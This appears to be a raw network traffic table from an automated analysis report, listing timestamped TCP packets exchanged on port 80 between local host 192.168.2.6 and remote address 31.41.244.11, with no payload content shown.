Dec 12, 2024 21:50:48.771821022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.771903038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.771945000 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.772984982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.773030043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.773112059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.773153067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.774081945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.774123907 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.774163961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.774200916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.775264025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.775306940 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.775357962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.775399923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.776344061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.776387930 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.776448011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.776488066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.777493000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.777537107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.777626038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.777667046 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.778644085 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.778691053 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.778753996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.778816938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.779783010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.779827118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.779891014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.779932022 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.780961037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.781004906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.781045914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.781085968 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.782119989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.782156944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.782244921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.782284021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.783257961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.783299923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.783375978 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.783416033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.784455061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.784496069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.784537077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.784570932 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.785660028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.785705090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.785744905 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.785782099 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.786772013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.786869049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.787877083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.788007975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.789163113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.789356947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.790395975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.790560961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.791558981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.791665077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.792614937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.792778969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.793771029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.793971062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.795269966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.795430899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.796444893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.796653032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.797677994 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.797811031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.798947096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.799031973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.800201893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.800292015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.801337957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.801404953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.802419901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.802510977 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.803482056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.803564072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.804439068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.804567099 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.805407047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.805521011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.806196928 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.806538105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.806668997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.807704926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.807770967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.808142900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.808182001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.808199883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.808208942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.808650017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.811019897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.941215992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.941284895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.941705942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.941818953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.942608118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.942672968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.943631887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.943716049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.944307089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.944452047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.945481062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.945616007 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.946682930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.946705103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.947058916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.947846889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.947927952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.948930025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.949040890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.950041056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.950211048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.951011896 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.951081038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.951848984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.951947927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.952882051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.952970982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.954046965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.954139948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.955230951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.955347061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.956370115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.956531048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.957485914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.957578897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.958611965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.958822012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.959790945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.959903002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.960951090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.961081982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.962063074 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.962223053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.963206053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.963373899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.964396954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.964533091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.965516090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.965719938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.966655016 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.966759920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.967088938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967262983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967359066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967389107 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967412949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967427969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.967881918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.967986107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.968151093 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.969049931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.969146013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.970191956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.970407009 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.971879959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.972094059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.972524881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.972621918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.973622084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.973700047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.974786997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.974922895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.975945950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.976120949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.977118969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.977346897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.978194952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.978315115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.979378939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.979435921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.980457067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.980595112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.981647968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.981743097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.982775927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.982922077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.983947039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.984184027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.985065937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.985218048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.986273050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.986402988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.987301111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:48.987375021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.987495899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.988598108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.988708019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.989733934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.989873886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.990897894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.990962029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.991995096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.992151022 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.993161917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.993285894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.994312048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.994417906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.995467901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.995539904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.996582985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.996793032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.997724056 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.997829914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.998970985 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:48.999063969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.000010014 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.000070095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.007971048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.008591890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.008629084 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.008661032 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.009006977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.009032011 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.009076118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.132752895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.132822990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.133281946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.133390903 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.134452105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.134634018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.135174990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.135174990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.135639906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.135981083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.136069059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.137084961 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.137105942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.138016939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.138120890 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.139134884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.139226913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.140326023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.140398026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.141465902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.141518116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.142585039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.142734051 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.143754959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.143816948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.144915104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.144975901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.146117926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.146262884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.147185087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.147293091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.148318052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.148405075 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.148484945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.149492025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.149632931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.150619030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.150734901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.151770115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.151896954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.152945042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.153100967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.154078960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.154181957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.155210972 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.155342102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.156379938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.156456947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.157519102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.157646894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.158776999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.158834934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.159833908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.159991980 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.160980940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.161077023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.162128925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.162209034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.163280964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.163368940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.164417028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.164524078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.165550947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.165716887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.166697025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.166826010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.167859077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.167987108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.168646097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.169066906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.169153929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.170217037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.170281887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.171359062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.171519041 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.172476053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.172621965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.173618078 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.173780918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.174875975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.174961090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.176002979 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.176019907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.177098989 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.177196026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.178229094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.178337097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.178677082 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178857088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178890944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178914070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178937912 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178962946 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.178985119 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.179400921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.179502964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.180497885 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.180649996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.180875063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.181687117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.181790113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.181848049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.182805061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.182936907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.183995008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.184063911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.185132027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.185264111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.186263084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.186533928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.187479019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.187673092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.188548088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.188661098 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.188869953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:49.189768076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.189847946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.190850973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.191029072 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:49.192063093 CET	80	49971	31.41.244.11	192.168.2.6
